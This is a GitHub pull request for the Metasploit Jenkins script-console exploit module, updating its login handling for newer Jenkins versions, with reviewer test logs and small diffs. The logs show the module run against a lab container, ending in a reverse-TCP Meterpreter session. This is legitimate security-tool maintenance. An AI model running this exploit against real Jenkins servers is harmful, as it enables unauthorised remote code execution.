Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Jenkins Login For Newer Versions #17013

Merged
merged 2 commits into from
Sep 15, 2022
Merged

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Sep 13, 2022

Fixes #16945. Jenkins v2.246 (pushed to docker July 21st 2020) changed how the login works. This PR updates the exploit module to handle this, effectively allowing the module to target Jenkins version 2.246 and later.

Also dropped the custom linux stager favor of the standard CmdStager library. This wasn't done originally because it wasn't available yet, see my original comment on the matter here #1338 (comment) At the time the command stagers were mixins and hadn't been unified yet until #2484.

Verification

List the steps needed to make sure this thing works

  • Run a target docker container: docker run -p 8080:8080 jenkins/jenkins:2.346.3
  • Start msfconsole
  • use exploit/multi/http/jenkins_script_console
  • Set the RPORT, TARGET, PAYLOAD and PASSWORD options (the password is in the docker output)
  • Run the module and see it work

Tested successfully on the following Jenkins versions (while trying to make sure there wasn't an intermediate version)

  • 2.346.3 (crumb v2)
  • 1.565 (old-style)
  • 2.60.3 (crumb v1)
  • 2.203 (crumb v1)
  • 2.275 (crumb v2)
  • 2.239 (crumb v1)
  • 2.257 (crumb v2)
  • 2.248 (crumb v2)
  • 2.244 (crumb v1)
  • 2.246 crumb v2)
  • 2.245 (crumb v1)

@smcintyre-r7 smcintyre-r7 added module bug rn-fix release notes fix labels Sep 13, 2022
@adfoster-r7
Copy link
Contributor

After spinning up docker run -p 8080:8080 jenkins/jenkins:2.346.3 and running through the install steps this module doesn't seem to work for me just yet 👀

Before:

msf6 exploit(multi/http/jenkins_script_console) > run http://admin:0e33e7d6939343f0b576070d1ef39c5c@192.168.123.128:8080 lhost=192.168.123.1

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Checking access to the script console
[*] Logging in...
[-] Exploit aborted due to failure: no-access: Login failed
[*] Exploit completed, but no session was created.

After:

msf6 exploit(multi/http/jenkins_script_console) > run http://admin:0e33e7d6939343f0b576070d1ef39c5c@192.168.123.128:8080 lhost=192.168.123.1

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Checking access to the script console
[*] Logging in...
[-] Exploit aborted due to failure: unexpected-reply: Unexpected reply from server
[*] Exploit completed, but no session was created.

Logging in manually works:

image

For the browser it looks like it's posting directly into http://192.168.123.128:8080/j_spring_security_check with j_username=admin&j_password=0e33e7d6939343f0b576070d1ef39c5c&from=%2Fscript&Submit=

With http trace:

msf6 exploit(multi/http/jenkins_script_console) > rerun httptrace=true 
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Checking access to the script console
####################
# Request:
####################
GET /jenkins/script HTTP/1.1
Host: 192.168.123.128:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15


####################
# Response:
####################
HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2022 13:21:49 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.66751a42=node01uc9jaogydfzd1h4q7z8lwx1po38.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.346.3
X-Jenkins-Session: 430824f9
Content-Length: 573
Server: Jetty(9.4.45.v20220203)

<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjenkins%2Fscript'/><script>window.location.replace('/login?from=%2Fjenkins%2Fscript');</script></head><body style='background-color:white; color:white;'>


Authentication required
<!--
-->

</body></html>                                                                                                                                                                                                                                                                                                            
[*] Logging in...
####################
# Request:
####################
GET /jenkins/login HTTP/1.1
Host: 192.168.123.128:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15


####################
# Response:
####################
HTTP/1.1 403 Forbidden
Date: Thu, 15 Sep 2022 13:21:49 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.66751a42=node0714stpt6heuv1bjekmg9nnosk39.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.346.3
X-Jenkins-Session: 430824f9
Content-Length: 571
Server: Jetty(9.4.45.v20220203)

<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjenkins%2Flogin'/><script>window.location.replace('/login?from=%2Fjenkins%2Flogin');</script></head><body style='background-color:white; color:white;'>


Authentication required
<!--
-->

</body></html>                                                                                                                                                                                                                                                                                                            
[-] Exploit aborted due to failure: unexpected-reply: Unexpected reply from server
[*] Exploit completed, but no session was created.

From a quick glance - it looks like the status check might be wrong, and the javascript redirect isn't being followed? Let me know if it's just pebkac though 🤔

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Sep 15, 2022

Ah, the verification steps were missing the set TARGETURI / - I wonder if we could detect this scenario better for the user.

Also required changing the payload manually, works for me now 🎉

msf6 exploit(multi/http/jenkins_script_console) > run http://admin:0e33e7d6939343f0b576070d1ef39c5c@192.168.123.128:8080 lhost=192.168.123.1 target=Linux payload=linux/x86/meterpreter/reverse_tcp

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] Checking access to the script console
[*] Logging in...
[*] Using CSRF token: '39c6cb513f6604abbf482260b57b6f2d0535ec66ae7f622de692831d887127b1' (Jenkins-Crumb style v2)
[*] 192.168.123.128:8080 - Sending Linux stager...
[*] Sending stage (989032 bytes) to 192.168.123.128
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Meterpreter session 2 opened (192.168.123.1:4444 -> 192.168.123.128:58042) at 2022-09-15 14:30:26 +0100

meterpreter > 

@@ -40,7 +40,7 @@ def initialize(info = {})
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
],
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }],
Copy link
Contributor

@adfoster-r7 adfoster-r7 Sep 15, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just a confirmation question - when the user sets the target to linux, as they expected to manually change the payload too? 👀 By default it's a windows payload

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah but I think if the payload is left unset, the default payload selection logic will kick in and pick one automagically. Would the alternative be to hard code a default here?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For me a payload isn't rechoosen; Potentially due to #13566

@adfoster-r7 adfoster-r7 self-assigned this Sep 15, 2022
@zeroSteiner
Copy link
Contributor Author

Yeah I forgot to mention that the default TARGETURI is / for the docker container instead of /jenkins/ which the module uses. We could change it but that'd be a backwards breaking change right?

@adfoster-r7
Copy link
Contributor

Happy to leave it as-is; It's not a blocker for me, but maybe we could detect the scenario when the jenkins server returns those types of responses that the TARGETURI might be wrong and have that within the error message that bubbles up to the user? 🤔

That seems (naively) relatively low effort for a good UX improvement

@@ -187,9 +161,19 @@ def exploit
end
else
print_status('Logging in...')
# get that first cookie that's needed by newer versions
res = send_request_cgi({ 'uri' => normalize_uri(@uri.path, 'login'), 'keep_cookies' => true })
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res&.code == 200
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just looping in the suggestion that we could do error detection here when the user has pointed the module to a jenkins instance running on / and hasn't updated the TARGETURI value from the default /jenkins to /

#17013 (comment)

@adfoster-r7 adfoster-r7 merged commit b06b39d into rapid7:master Sep 15, 2022
@zgoldman-r7
Copy link
Contributor

Release Notes

This PR enhances exploit/multi/http/jenkins_script_console to handle changes to the login process for Jenkins newer than version 2.246.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug module rn-fix release notes fix
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Jenkins Script Console Login Broken
4 participants